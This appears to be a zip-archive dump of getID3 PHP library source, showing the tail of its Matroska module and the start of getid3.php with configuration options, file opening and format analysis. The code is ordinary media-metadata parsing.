			$EBMLidList[EBML_ID_TAGBINARY]                  = 'TagBinary';
			$EBMLidList[EBML_ID_TAGCHAPTERUID]              = 'TagChapterUID';
			$EBMLidList[EBML_ID_TAGDEFAULT]                 = 'TagDefault';
			$EBMLidList[EBML_ID_TAGEDITIONUID]              = 'TagEditionUID';
			$EBMLidList[EBML_ID_TAGLANGUAGE]                = 'TagLanguage';
			$EBMLidList[EBML_ID_TAGNAME]                    = 'TagName';
			$EBMLidList[EBML_ID_TAGTRACKUID]                = 'TagTrackUID';
			$EBMLidList[EBML_ID_TAGS]                       = 'Tags';
			$EBMLidList[EBML_ID_TAGSTRING]                  = 'TagString';
			$EBMLidList[EBML_ID_TARGETS]                    = 'Targets';
			$EBMLidList[EBML_ID_TARGETTYPE]                 = 'TargetType';
			$EBMLidList[EBML_ID_TARGETTYPEVALUE]            = 'TargetTypeValue';
			$EBMLidList[EBML_ID_TIMECODESCALE]              = 'TimecodeScale';
			$EBMLidList[EBML_ID_TITLE]                      = 'Title';
			$EBMLidList[EBML_ID_TRACKENTRY]                 = 'TrackEntry';
			$EBMLidList[EBML_ID_TRACKNUMBER]                = 'TrackNumber';
			$EBMLidList[EBML_ID_TRACKOFFSET]                = 'TrackOffset';
			$EBMLidList[EBML_ID_TRACKOVERLAY]               = 'TrackOverlay';
			$EBMLidList[EBML_ID_TRACKS]                     = 'Tracks';
			$EBMLidList[EBML_ID_TRACKTIMECODESCALE]         = 'TrackTimecodeScale';
			$EBMLidList[EBML_ID_TRACKTRANSLATE]             = 'TrackTranslate';
			$EBMLidList[EBML_ID_TRACKTRANSLATECODEC]        = 'TrackTranslateCodec';
			$EBMLidList[EBML_ID_TRACKTRANSLATEEDITIONUID]   = 'TrackTranslateEditionUID';
			$EBMLidList[EBML_ID_TRACKTRANSLATETRACKID]      = 'TrackTranslateTrackID';
			$EBMLidList[EBML_ID_TRACKTYPE]                  = 'TrackType';
			$EBMLidList[EBML_ID_TRACKUID]                   = 'TrackUID';
			$EBMLidList[EBML_ID_VIDEO]                      = 'Video';
			$EBMLidList[EBML_ID_VOID]                       = 'Void';
			$EBMLidList[EBML_ID_WRITINGAPP]                 = 'WritingApp';
		}

		return (isset($EBMLidList[$value]) ? $EBMLidList[$value] : dechex($value));
	}

	/**
	 * @param int $value
	 *
	 * @return string
	 */
	public static function displayUnit($value) {
		// http://www.matroska.org/technical/specs/index.html#DisplayUnit
		static $units = array(
			0 => 'pixels',
			1 => 'centimeters',
			2 => 'inches',
			3 => 'Display Aspect Ratio');

		return (isset($units[$value]) ? $units[$value] : 'unknown');
	}

	/**
	 * @param array $streams
	 *
	 * @return array
	 */
	private static function getDefaultStreamInfo($streams)
	{
		$stream = array();
		foreach (array_reverse($streams) as $stream) {
			if ($stream['default']) {
				break;
			}
		}

		$unset = array('default', 'name');
		foreach ($unset as $u) {
			if (isset($stream[$u])) {
				unset($stream[$u]);
			}
		}

		$info = $stream;
		$info['streams'] = $streams;

		return $info;
	}

}
PKE]T6<6<
getid3.phpnuW+A<?php
/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at https://github.com/JamesHeinrich/getID3       //
//            or https://www.getid3.org                        //
//            or http://getid3.sourceforge.net                 //
//                                                             //
// Please see readme.txt for more information                  //
//                                                            ///
/////////////////////////////////////////////////////////////////

// define a constant rather than looking up every time it is needed
if (!defined('GETID3_OS_ISWINDOWS')) {
	define('GETID3_OS_ISWINDOWS', (stripos(PHP_OS, 'WIN') === 0));
}
// Get base path of getID3() - ONCE
if (!defined('GETID3_INCLUDEPATH')) {
	define('GETID3_INCLUDEPATH', dirname(__FILE__).DIRECTORY_SEPARATOR);
}
if (!defined('ENT_SUBSTITUTE')) { // PHP5.3 adds ENT_IGNORE, PHP5.4 adds ENT_SUBSTITUTE
	define('ENT_SUBSTITUTE', (defined('ENT_IGNORE') ? ENT_IGNORE : 8));
}

/*
https://www.getid3.org/phpBB3/viewtopic.php?t=2114
If you are running into a the problem where filenames with special characters are being handled
incorrectly by external helper programs (e.g. metaflac), notably with the special characters removed,
and you are passing in the filename in UTF8 (typically via a HTML form), try uncommenting this line:
*/
//setlocale(LC_CTYPE, 'en_US.UTF-8');

// attempt to define temp dir as something flexible but reliable
$temp_dir = ini_get('upload_tmp_dir');
if ($temp_dir && (!is_dir($temp_dir) || !is_readable($temp_dir))) {
	$temp_dir = '';
}
if (!$temp_dir && function_exists('sys_get_temp_dir')) { // sys_get_temp_dir added in PHP v5.2.1
	// sys_get_temp_dir() may give inaccessible temp dir, e.g. with open_basedir on virtual hosts
	$temp_dir = sys_get_temp_dir();
}
$temp_dir = @realpath($temp_dir); // see https://github.com/JamesHeinrich/getID3/pull/10
$open_basedir = ini_get('open_basedir');
if ($open_basedir) {
	// e.g. "/var/www/vhosts/getid3.org/httpdocs/:/tmp/"
	$temp_dir     = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $temp_dir);
	$open_basedir = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $open_basedir);
	if (substr($temp_dir, -1, 1) != DIRECTORY_SEPARATOR) {
		$temp_dir .= DIRECTORY_SEPARATOR;
	}
	$found_valid_tempdir = false;
	$open_basedirs = explode(PATH_SEPARATOR, $open_basedir);
	foreach ($open_basedirs as $basedir) {
		if (substr($basedir, -1, 1) != DIRECTORY_SEPARATOR) {
			$basedir .= DIRECTORY_SEPARATOR;
		}
		if (strpos($temp_dir, $basedir) === 0) {
			$found_valid_tempdir = true;
			break;
		}
	}
	if (!$found_valid_tempdir) {
		$temp_dir = '';
	}
	unset($open_basedirs, $found_valid_tempdir, $basedir);
}
if (!$temp_dir) {
	$temp_dir = '*'; // invalid directory name should force tempnam() to use system default temp dir
}
// $temp_dir = '/something/else/';  // feel free to override temp dir here if it works better for your system
if (!defined('GETID3_TEMP_DIR')) {
	define('GETID3_TEMP_DIR', $temp_dir);
}
unset($open_basedir, $temp_dir);

// End: Defines


class getID3
{
	/*
	 * Settings
	 */

	/**
	 * CASE SENSITIVE! - i.e. (must be supported by iconv()). Examples:  ISO-8859-1  UTF-8  UTF-16  UTF-16BE
	 *
	 * @var string
	 */
	public $encoding        = 'UTF-8';

	/**
	 * Should always be 'ISO-8859-1', but some tags may be written in other encodings such as 'EUC-CN' or 'CP1252'
	 *
	 * @var string
	 */
	public $encoding_id3v1  = 'ISO-8859-1';

	/**
	 * ID3v1 should always be 'ISO-8859-1', but some tags may be written in other encodings such as 'Windows-1251' or 'KOI8-R'. If true attempt to detect these encodings, but may return incorrect values for some tags actually in ISO-8859-1 encoding
	 *
	 * @var bool
	 */
	public $encoding_id3v1_autodetect  = false;

	/*
	 * Optional tag checks - disable for speed.
	 */

	/**
	 * Read and process ID3v1 tags
	 *
	 * @var bool
	 */
	public $option_tag_id3v1         = true;

	/**
	 * Read and process ID3v2 tags
	 *
	 * @var bool
	 */
	public $option_tag_id3v2         = true;

	/**
	 * Read and process Lyrics3 tags
	 *
	 * @var bool
	 */
	public $option_tag_lyrics3       = true;

	/**
	 * Read and process APE tags
	 *
	 * @var bool
	 */
	public $option_tag_apetag        = true;

	/**
	 * Copy tags to root key 'tags' and encode to $this->encoding
	 *
	 * @var bool
	 */
	public $option_tags_process      = true;

	/**
	 * Copy tags to root key 'tags_html' properly translated from various encodings to HTML entities
	 *
	 * @var bool
	 */
	public $option_tags_html         = true;

	/*
	 * Optional tag/comment calculations
	 */

	/**
	 * Calculate additional info such as bitrate, channelmode etc
	 *
	 * @var bool
	 */
	public $option_extra_info        = true;

	/*
	 * Optional handling of embedded attachments (e.g. images)
	 */

	/**
	 * Defaults to true (ATTACHMENTS_INLINE) for backward compatibility
	 *
	 * @var bool|string
	 */
	public $option_save_attachments  = true;

	/*
	 * Optional calculations
	 */

	/**
	 * Get MD5 sum of data part - slow
	 *
	 * @var bool
	 */
	public $option_md5_data          = false;

	/**
	 * Use MD5 of source file if available - only FLAC and OptimFROG
	 *
	 * @var bool
	 */
	public $option_md5_data_source   = false;

	/**
	 * Get SHA1 sum of data part - slow
	 *
	 * @var bool
	 */
	public $option_sha1_data         = false;

	/**
	 * Check whether file is larger than 2GB and thus not supported by 32-bit PHP (null: auto-detect based on
	 * PHP_INT_MAX)
	 *
	 * @var bool|null
	 */
	public $option_max_2gb_check;

	/**
	 * Read buffer size in bytes
	 *
	 * @var int
	 */
	public $option_fread_buffer_size = 32768;



	// module-specific options

	/** archive.rar
	 * if true use PHP RarArchive extension, if false (non-extension parsing not yet written in getID3)
	 *
	 * @var bool
	 */
	public $options_archive_rar_use_php_rar_extension = true;

	/** archive.gzip
	 * Optional file list - disable for speed.
	 * Decode gzipped files, if possible, and parse recursively (.tar.gz for example).
	 *
	 * @var bool
	 */
	public $options_archive_gzip_parse_contents = false;

	/** audio.midi
	 * if false only parse most basic information, much faster for some files but may be inaccurate
	 *
	 * @var bool
	 */
	public $options_audio_midi_scanwholefile = true;

	/** audio.mp3
	 * Forces getID3() to scan the file byte-by-byte and log all the valid audio frame headers - extremely slow,
	 * unrecommended, but may provide data from otherwise-unusable files.
	 *
	 * @var bool
	 */
	public $options_audio_mp3_allow_bruteforce = false;

	/** audio.mp3
	 * number of frames to scan to determine if MPEG-audio sequence is valid
	 * Lower this number to 5-20 for faster scanning
	 * Increase this number to 50+ for most accurate detection of valid VBR/CBR mpeg-audio streams
	 *
	 * @var int
	 */
	public $options_audio_mp3_mp3_valid_check_frames = 50;

	/** audio.wavpack
	 * Avoid scanning all frames (break after finding ID_RIFF_HEADER and ID_CONFIG_BLOCK,
	 * significantly faster for very large files but other data may be missed
	 *
	 * @var bool
	 */
	public $options_audio_wavpack_quick_parsing = false;

	/** audio-video.flv
	 * Break out of the loop if too many frames have been scanned; only scan this
	 * many if meta frame does not contain useful duration.
	 *
	 * @var int
	 */
	public $options_audiovideo_flv_max_frames = 100000;

	/** audio-video.matroska
	 * If true, do not return information about CLUSTER chunks, since there's a lot of them
	 * and they're not usually useful [default: TRUE].
	 *
	 * @var bool
	 */
	public $options_audiovideo_matroska_hide_clusters    = true;

	/** audio-video.matroska
	 * True to parse the whole file, not only header [default: FALSE].
	 *
	 * @var bool
	 */
	public $options_audiovideo_matroska_parse_whole_file = false;

	/** audio-video.quicktime
	 * return all parsed data from all atoms if true, otherwise just returned parsed metadata
	 *
	 * @var bool
	 */
	public $options_audiovideo_quicktime_ReturnAtomData  = false;

	/** audio-video.quicktime
	 * return all parsed data from all atoms if true, otherwise just returned parsed metadata
	 *
	 * @var bool
	 */
	public $options_audiovideo_quicktime_ParseAllPossibleAtoms = false;

	/** audio-video.swf
	 * return all parsed tags if true, otherwise do not return tags not parsed by getID3
	 *
	 * @var bool
	 */
	public $options_audiovideo_swf_ReturnAllTagData = false;

	/** graphic.bmp
	 * return BMP palette
	 *
	 * @var bool
	 */
	public $options_graphic_bmp_ExtractPalette = false;

	/** graphic.bmp
	 * return image data
	 *
	 * @var bool
	 */
	public $options_graphic_bmp_ExtractData    = false;

	/** graphic.png
	 * If data chunk is larger than this do not read it completely (getID3 only needs the first
	 * few dozen bytes for parsing).
	 *
	 * @var int
	 */
	public $options_graphic_png_max_data_bytes = 10000000;

	/** misc.pdf
	 * return full details of PDF Cross-Reference Table (XREF)
	 *
	 * @var bool
	 */
	public $options_misc_pdf_returnXREF = false;

	/** misc.torrent
	 * Assume all .torrent files are less than 1MB and just read entire thing into memory for easy processing.
	 * Override this value if you need to process files larger than 1MB
	 *
	 * @var int
	 */
	public $options_misc_torrent_max_torrent_filesize = 1048576;



	// Public variables

	/**
	 * Filename of file being analysed.
	 *
	 * @var string
	 */
	public $filename;

	/**
	 * Filepointer to file being analysed.
	 *
	 * @var resource
	 */
	public $fp;

	/**
	 * Result array.
	 *
	 * @var array
	 */
	public $info;

	/**
	 * @var string
	 */
	public $tempdir = GETID3_TEMP_DIR;

	/**
	 * @var int
	 */
	public $memory_limit = 0;

	/**
	 * @var string
	 */
	protected $startup_error   = '';

	/**
	 * @var string
	 */
	protected $startup_warning = '';

	const VERSION           = '1.9.24-202509040923';
	const FREAD_BUFFER_SIZE = 32768;

	const ATTACHMENTS_NONE   = false;
	const ATTACHMENTS_INLINE = true;

	/**
	 * @throws getid3_exception
	 */
	public function __construct() {

		// Check for PHP version
		$required_php_version = '5.3.0';
		if (version_compare(PHP_VERSION, $required_php_version, '<')) {
			$this->startup_error .= 'getID3() requires PHP v'.$required_php_version.' or higher - you are running v'.PHP_VERSION."\n";
			return;
		}

		// Check memory
		$memoryLimit = ini_get('memory_limit');
		if (preg_match('#([0-9]+) ?M#i', $memoryLimit, $matches)) {
			// could be stored as "16M" rather than 16777216 for example
			$memoryLimit = (int) $matches[1] * 1048576;
		} elseif (preg_match('#([0-9]+) ?G#i', $memoryLimit, $matches)) { // The 'G' modifier is available since PHP 5.1.0
			// could be stored as "2G" rather than 2147483648 for example
			$memoryLimit = (int) $matches[1] * 1073741824;
		}
		$this->memory_limit = $memoryLimit;

		if ($this->memory_limit <= 0) {
			// memory limits probably disabled
		} elseif ($this->memory_limit <= 4194304) {
			$this->startup_error .= 'PHP has less than 4MB available memory and will very likely run out. Increase memory_limit in php.ini'."\n";
		} elseif ($this->memory_limit <= 12582912) {
			$this->startup_warning .= 'PHP has less than 12MB available memory and might run out if all modules are loaded. Increase memory_limit in php.ini'."\n";
		}

		// Check safe_mode off
		if (preg_match('#(1|ON)#i', ini_get('safe_mode'))) {
			$this->warning('WARNING: Safe mode is on, shorten support disabled, md5data/sha1data for ogg vorbis disabled, ogg vorbos/flac tag writing disabled.');
		}

		if (($mbstring_func_overload = (int) ini_get('mbstring.func_overload')) && ($mbstring_func_overload & 0x02)) {
			// http://php.net/manual/en/mbstring.overload.php
			// "mbstring.func_overload in php.ini is a positive value that represents a combination of bitmasks specifying the categories of functions to be overloaded. It should be set to 1 to overload the mail() function. 2 for string functions, 4 for regular expression functions"
			// getID3 cannot run when string functions are overloaded. It doesn't matter if mail() or ereg* functions are overloaded since getID3 does not use those.
			$this->startup_error .= 'WARNING: php.ini contains "mbstring.func_overload = '.ini_get('mbstring.func_overload').'", getID3 cannot run with this setting (bitmask 2 (string functions) cannot be set). Recommended to disable entirely.'."\n";
		}

		// check for magic quotes in PHP < 5.4.0 (when these options were removed and getters always return false)
		if (version_compare(PHP_VERSION, '5.4.0', '<')) {
			// Check for magic_quotes_runtime
			if (function_exists('get_magic_quotes_runtime')) {
				if (get_magic_quotes_runtime()) { // @phpstan-ignore-line
					$this->startup_error .= 'magic_quotes_runtime must be disabled before running getID3(). Surround getid3 block by set_magic_quotes_runtime(0) and set_magic_quotes_runtime(1).'."\n";
				}
			}
			// Check for magic_quotes_gpc
			if (function_exists('get_magic_quotes_gpc')) {
				if (get_magic_quotes_gpc()) {
					$this->startup_error .= 'magic_quotes_gpc must be disabled before running getID3(). Surround getid3 block by set_magic_quotes_gpc(0) and set_magic_quotes_gpc(1).'."\n";
				}
			}
		}

		// Load support library
		if (!include_once(GETID3_INCLUDEPATH.'getid3.lib.php')) {
			$this->startup_error .= 'getid3.lib.php is missing or corrupt'."\n";
		}

		if ($this->option_max_2gb_check === null) {
			$this->option_max_2gb_check = (PHP_INT_MAX <= 2147483647);
		}


		// Needed for Windows only:
		// Define locations of helper applications for Shorten, VorbisComment, MetaFLAC
		//   as well as other helper functions such as head, etc
		// This path cannot contain spaces, but the below code will attempt to get the
		//   8.3-equivalent path automatically
		// IMPORTANT: This path must include the trailing slash
		if (GETID3_OS_ISWINDOWS && !defined('GETID3_HELPERAPPSDIR')) {

			$helperappsdir = GETID3_INCLUDEPATH.'..'.DIRECTORY_SEPARATOR.'helperapps'; // must not have any space in this path

			if (!is_dir($helperappsdir)) {
				$this->startup_warning .= '"'.$helperappsdir.'" cannot be defined as GETID3_HELPERAPPSDIR because it does not exist'."\n";
			} elseif (strpos(realpath($helperappsdir), ' ') !== false) {
				$DirPieces = explode(DIRECTORY_SEPARATOR, realpath($helperappsdir));
				$path_so_far = array();
				foreach ($DirPieces as $key => $value) {
					if (strpos($value, ' ') !== false) {
						if (!empty($path_so_far)) {
							$commandline = 'dir /x '.escapeshellarg(implode(DIRECTORY_SEPARATOR, $path_so_far));
							$dir_listing = shell_exec($commandline);
							$lines = explode("\n", $dir_listing);
							foreach ($lines as $line) {
								$line = trim($line);
								if (preg_match('#^([0-9/]{10}) +([0-9:]{4,5}( [AP]M)?) +(<DIR>|[0-9,]+) +([^ ]{0,11}) +(.+)$#', $line, $matches)) {
									list($dummy, $date, $time, $ampm, $filesize, $shortname, $filename) = $matches;
									if ((strtoupper($filesize) == '<DIR>') && (strtolower($filename) == strtolower($value))) {
										$value = $shortname;
									}
								}
							}
						} else {
							$this->startup_warning .= 'GETID3_HELPERAPPSDIR must not have any spaces in it - use 8dot3 naming convention if neccesary. You can run "dir /x" from the commandline to see the correct 8.3-style names.'."\n";
						}
					}
					$path_so_far[] = $value;
				}
				$helperappsdir = implode(DIRECTORY_SEPARATOR, $path_so_far);
			}
			define('GETID3_HELPERAPPSDIR', $helperappsdir.DIRECTORY_SEPARATOR);
		}

		if (!empty($this->startup_error)) {
			echo $this->startup_error;
			throw new getid3_exception($this->startup_error);
		}
	}

	/**
	 * @return string
	 */
	public function version() {
		return self::VERSION;
	}

	/**
	 * @return int
	 */
	public function fread_buffer_size() {
		return $this->option_fread_buffer_size;
	}

	/**
	 * @param array $optArray
	 *
	 * @return bool
	 */
	public function setOption($optArray) {
		if (empty($optArray)) {
			return false;
		}
		foreach ($optArray as $opt => $val) {
			if (isset($this->$opt) === false) {
				continue;
			}
			$this->$opt = $val;
		}
		return true;
	}

	/**
	 * @param string   $filename
	 * @param int      $filesize
	 * @param resource $fp
	 *
	 * @return bool
	 *
	 * @throws getid3_exception
	 */
	public function openfile($filename, $filesize=null, $fp=null) {
		try {
			if (!empty($this->startup_error)) {
				throw new getid3_exception($this->startup_error);
			}
			if (!empty($this->startup_warning)) {
				foreach (explode("\n", $this->startup_warning) as $startup_warning) {
					$this->warning($startup_warning);
				}
			}

			// init result array and set parameters
			$this->filename = $filename;
			$this->info = array();
			$this->info['GETID3_VERSION']   = $this->version();
			$this->info['php_memory_limit'] = (($this->memory_limit > 0) ? $this->memory_limit : false);

			// remote files not supported
			if (preg_match('#^(ht|f)tps?://#', $filename)) {
				throw new getid3_exception('Remote files are not supported - please copy the file locally first');
			}

			$filename = str_replace('/', DIRECTORY_SEPARATOR, $filename);
			//$filename = preg_replace('#(?<!gs:)('.preg_quote(DIRECTORY_SEPARATOR).'{2,})#', DIRECTORY_SEPARATOR, $filename);

			// open local file
			//if (is_readable($filename) && is_file($filename) && ($this->fp = fopen($filename, 'rb'))) { // see https://www.getid3.org/phpBB3/viewtopic.php?t=1720
			if (($fp != null) && ((get_resource_type($fp) == 'file') || (get_resource_type($fp) == 'stream'))) {
				$this->fp = $fp;
			} elseif ((is_readable($filename) || file_exists($filename)) && is_file($filename) && ($this->fp = fopen($filename, 'rb'))) {
				// great
			} else {
				$errormessagelist = array();
				if (!is_readable($filename)) {
					$errormessagelist[] = '!is_readable';
				}
				if (!is_file($filename)) {
					$errormessagelist[] = '!is_file';
				}
				if (!file_exists($filename)) {
					$errormessagelist[] = '!file_exists';
				}
				if (empty($errormessagelist)) {
					$errormessagelist[] = 'fopen failed';
				}
				throw new getid3_exception('Could not open "'.$filename.'" ('.implode('; ', $errormessagelist).')');
			}

			$this->info['filesize'] = (!is_null($filesize) ? $filesize : filesize($filename));
			// set redundant parameters - might be needed in some include file
			// filenames / filepaths in getID3 are always expressed with forward slashes (unix-style) for both Windows and other to try and minimize confusion
			$filename = str_replace('\\', '/', $filename);
			$this->info['filepath']     = str_replace('\\', '/', realpath(dirname($filename)));
			$this->info['filename']     = getid3_lib::mb_basename($filename);
			$this->info['filenamepath'] = $this->info['filepath'].'/'.$this->info['filename'];

			// set more parameters
			$this->info['avdataoffset']        = 0;
			$this->info['avdataend']           = $this->info['filesize'];
			$this->info['fileformat']          = '';                // filled in later
			$this->info['audio']['dataformat'] = '';                // filled in later, unset if not used
			$this->info['video']['dataformat'] = '';                // filled in later, unset if not used
			$this->info['tags']                = array();           // filled in later, unset if not used
			$this->info['error']               = array();           // filled in later, unset if not used
			$this->info['warning']             = array();           // filled in later, unset if not used
			$this->info['comments']            = array();           // filled in later, unset if not used
			$this->info['encoding']            = $this->encoding;   // required by id3v2 and iso modules - can be unset at the end if desired

			// option_max_2gb_check
			if ($this->option_max_2gb_check) {
				// PHP (32-bit all, and 64-bit Windows) doesn't support integers larger than 2^31 (~2GB)
				// filesize() simply returns (filesize % (pow(2, 32)), no matter the actual filesize
				// ftell() returns 0 if seeking to the end is beyond the range of unsigned integer
				$fseek = fseek($this->fp, 0, SEEK_END);
				if (($fseek < 0) || (($this->info['filesize'] != 0) && (ftell($this->fp) == 0)) ||
					($this->info['filesize'] < 0) ||
					(ftell($this->fp) < 0)) {
						$real_filesize = getid3_lib::getFileSizeSyscall($this->info['filenamepath']);

						if ($real_filesize === false) {
							unset($this->info['filesize']);
							fclose($this->fp);
							throw new getid3_exception('Unable to determine actual filesize. File is most likely larger than '.round(PHP_INT_MAX / 1073741824).'GB and is not supported by PHP.');
						} elseif (getid3_lib::intValueSupported($real_filesize)) {
							unset($this->info['filesize']);
							fclose($this->fp);
							throw new getid3_exception('PHP seems to think the file is larger than '.round(PHP_INT_MAX / 1073741824).'GB, but filesystem reports it as '.number_format($real_filesize / 1073741824, 3).'GB, please report to info@getid3.org');
						}
						$this->info['filesize'] = $real_filesize;
						$this->warning('File is larger than '.round(PHP_INT_MAX / 1073741824).'GB (filesystem reports it as '.number_format($real_filesize / 1073741824, 3).'GB) and is not properly supported by PHP.');
				}
			}

			return true;

		} catch (Exception $e) {
			$this->error($e->getMessage());
		}
		return false;
	}

	/**
	 * analyze file
	 *
	 * @param string   $filename
	 * @param int      $filesize
	 * @param string   $original_filename
	 * @param resource $fp
	 *
	 * @return array
	 */
	public function analyze($filename, $filesize=null, $original_filename='', $fp=null) {
		try {
			if (!$this->openfile($filename, $filesize, $fp)) {
				return $this->info;
			}

			// Handle tags
			foreach (array('id3v2'=>'id3v2', 'id3v1'=>'id3v1', 'apetag'=>'ape', 'lyrics3'=>'lyrics3') as $tag_name => $tag_key) {
				$option_tag = 'option_tag_'.$tag_name;
				if ($this->$option_tag) {
					$this->include_module('tag.'.$tag_name);
					try {
						$tag_class = 'getid3_'.$tag_name;
						$tag = new $tag_class($this);
						$tag->Analyze();
					}
					catch (getid3_exception $e) {
						throw $e;
					}
				} else {
					$this->warning('skipping check for '.$tag_name.' tags since option_tag_'.$tag_name.'=FALSE');
				}
			}
			if (isset($this->info['id3v2']['tag_offset_start'])) {
				$this->info['avdataoffset'] = max($this->info['avdataoffset'], $this->info['id3v2']['tag_offset_end']);
			}
			foreach (array('id3v1'=>'id3v1', 'apetag'=>'ape', 'lyrics3'=>'lyrics3') as $tag_name => $tag_key) {
				if (isset($this->info[$tag_key]['tag_offset_start'])) {
					$this->info['avdataend'] = min($this->info['avdataend'], $this->info[$tag_key]['tag_offset_start']);
				}
			}

			// ID3v2 detection (NOT parsing), even if ($this->option_tag_id3v2 == false) done to make fileformat easier
			if (!$this->option_tag_id3v2) {
				fseek($this->fp, 0);
				$header = fread($this->fp, 10);
				if ((substr($header, 0, 3) == 'ID3') && (strlen($header) == 10)) {
					$this->info['id3v2']['header']        = true;
					$this->info['id3v2']['majorversion']  = ord($header[3]);
					$this->info['id3v2']['minorversion']  = ord($header[4]);
					$this->info['avdataoffset']          += getid3_lib::BigEndian2Int(substr($header, 6, 4), 1) + 10; // length of ID3v2 tag in 10-byte header doesn't include 10-byte header length
				}
			}

			// read 32 kb file data
			fseek($this->fp, $this->info['avdataoffset']);
			$formattest = fread($this->fp, 32774);

			// determine format
			$determined_format = $this->GetFileFormat($formattest, ($original_filename ? $original_filename : $filename));

			// unable to determine file format
			if (!$determined_format) {
				fclose($this->fp);
				return $this->error('unable to determine file format');
			}

			// check for illegal ID3 tags
			if (isset($determined_format['fail_id3']) && (in_array('id3v1', $this->info['tags']) || in_array('id3v2', $this->info['tags']))) {
				if ($determined_format['fail_id3'] === 'ERROR') {
					fclose($this->fp);
					return $this->error('ID3 tags not allowed on this file type.');
				} elseif ($determined_format['fail_id3'] === 'WARNING') {
					$this->warning('ID3 tags not allowed on this file type.');
				}
			}

			// check for illegal APE tags
			if (isset($determined_format['fail_ape']) && in_array('ape', $this->info['tags'])) {
				if ($determined_format['fail_ape'] === 'ERROR') {
					fclose($this->fp);
					return $this->error('APE tags not allowed on this file type.');
				} elseif ($determined_format['fail_ape'] === 'WARNING') {
					$this->warning('APE tags not allowed on this file type.');
				}
			}

			// set mime type
			$this->info['mime_type'] = $determined_format['mime_type'];

			// supported format signature pattern detected, but module deleted
			if (!file_exists(GETID3_INCLUDEPATH.$determined_format['include'])) {
				fclose($this->fp);
				return $this->error('Format not supported, module "'.$determined_format['include'].'" was removed.');
			}

			// module requires mb_convert_encoding/iconv support
			// Check encoding/iconv support
			if (!empty($determined_format['iconv_req']) && !function_exists('mb_convert_encoding') && !function_exists('iconv') && !in_array($this->encoding, array('ISO-8859-1', 'UTF-8', 'UTF-16LE', 'UTF-16BE', 'UTF-16'))) {
				$errormessage = 'mb_convert_encoding() or iconv() support is required for this module ('.$determined_format['include'].') for encodings other than ISO-8859-1, UTF-8, UTF-16LE, UTF16-BE, UTF-16. ';
				if (GETID3_OS_ISWINDOWS) {
					$errormessage .= 'PHP does not have mb_convert_encoding() or iconv() support. Please enable php_mbstring.dll / php_iconv.dll in php.ini, and copy php_mbstring.dll / iconv.dll from c:/php/dlls to c:/windows/system32';
				} else {
					$errormessage .= 'PHP is not compiled with mb_convert_encoding() or iconv() support. Please recompile with the --enable-mbstring / --with-iconv switch';
				}
				return $this->error($errormessage);
			}

			// include module
			include_once(GETID3_INCLUDEPATH.$determined_format['include']);

			// instantiate module class
			$class_name = 'getid3_'.$determined_format['module'];
			if (!class_exists($class_name)) {
				return $this->error('Format not supported, module "'.$determined_format['include'].'" is corrupt.');
			}
			$class = new $class_name($this);

			// set module-specific options
			foreach (get_object_vars($this) as $getid3_object_vars_key => $getid3_object_vars_value) {
				if (preg_match('#^options_([^_]+)_([^_]+)_(.+)$#i', $getid3_object_vars_key, $matches)) {
					list($dummy, $GOVgroup, $GOVmodule, $GOVsetting) = $matches;
					$GOVgroup = (($GOVgroup == 'audiovideo') ? 'audio-video' : $GOVgroup); // variable names can only contain 0-9a-z_ so standardize here
					if (($GOVgroup == $determined_format['group']) && ($GOVmodule == $determined_format['module'])) {
						$class->$GOVsetting = $getid3_object_vars_value;
					}
				}
			}

			$class->Analyze();
			unset($class);

			// close file
			fclose($this->fp);

			// process all tags - copy to 'tags' and convert charsets
			if ($this->option_tags_process) {
				$this->HandleAllTags();
			}

			// perform more calculations
			if ($this->option_extra_info) {
				$this->ChannelsBitratePlaytimeCalculations();
				$this->CalculateCompressionRatioVideo();
				$this->CalculateCompressionRatioAudio();
				$this->CalculateReplayGain();
				$this->ProcessAudioStreams();
			}

			// get the MD5 sum of the audio/video portion of the file - without ID3/APE/Lyrics3/etc header/footer tags
			if ($this->option_md5_data) {
				// do not calc md5_data if md5_data_source is present - set by flac only - future MPC/SV8 too
				if (!$this->option_md5_data_source || empty($this->info['md5_data_source'])) {
					$this->getHashdata('md5');
				}
			}

			// get the SHA1 sum of the audio/video portion of the file - without ID3/APE/Lyrics3/etc header/footer tags
			if ($this->option_sha1_data) {
				$this->getHashdata('sha1');
			}

			// remove undesired keys
			$this->CleanUp();

		} catch (Exception $e) {
			$this->error('Caught exception: '.$e->getMessage());
		}

		// return info array
		return $this->info;
	}


	/**
	 * Error handling.
	 *
	 * @param string $message
	 *
	 * @return array
	 */
	public function error($message) {
		$this->CleanUp();
		if (!isset($this->info['error'])) {
			$this->info['error'] = array();
		}
		$this->info['error'][] = $message;
		return $this->info;
	}


	/**
	 * Warning handling.
	 *
	 * @param string $message
	 *
	 * @return bool
	 */
	public function warning($message) {
		$this->info['warning'][] = $message;
		return true;
	}


	/**
	 * @return bool
	 */
	private function CleanUp() {

		// remove possible empty keys
		$AVpossibleEmptyKeys = array('dataformat', 'bits_per_sample', 'encoder_options', 'streams', 'bitrate');
		foreach ($AVpossibleEmptyKeys as $dummy => $key) {
			if (empty($this->info['audio'][$key]) && isset($this->info['audio'][$key])) {
				unset($this->info['audio'][$key]);
			}
			if (empty($this->info['video'][$key]) && isset($this->info['video'][$key])) {
				unset($this->info['video'][$key]);
			}
		}

		// remove empty root keys
		if (!empty($this->info)) {
			foreach ($this->info as $key => $value) {
				if (empty($this->info[$key]) && ($this->info[$key] !== 0) && ($this->info[$key] !== '0')) {
					unset($this->info[$key]);
				}
			}
		}

		// remove meaningless entries from unknown-format files
		if (empty($this->info['fileformat'])) {
			if (isset($this->info['avdataoffset'])) {
				unset($this->info['avdataoffset']);
			}
			if (isset($this->info['avdataend'])) {
				unset($this->info['avdataend']);
			}
		}

		// remove possible duplicated identical entries
		if (!empty($this->info['error'])) {
			$this->info['error'] = array_values(array_unique($this->info['error']));
		}
		if (!empty($this->info['warning'])) {
			$this->info['warning'] = array_values(array_unique($this->info['warning']));
		}

		// remove "global variable" type keys
		unset($this->info['php_memory_limit']);

		return true;
	}

	/**
	 * Return array containing information about all supported formats.
	 *
	 * @return array
	 */
	public function GetFileFormatArray() {
		static $format_info = array();
		if (empty($format_info)) {
			$format_info = array(

				// Audio formats

				// AC-3   - audio      - Dolby AC-3 / Dolby Digital
				'ac3'  => array(
							'pattern'   => '^\\x0B\\x77',
							'group'     => 'audio',
							'module'    => 'ac3',
							'mime_type' => 'audio/ac3',
						),

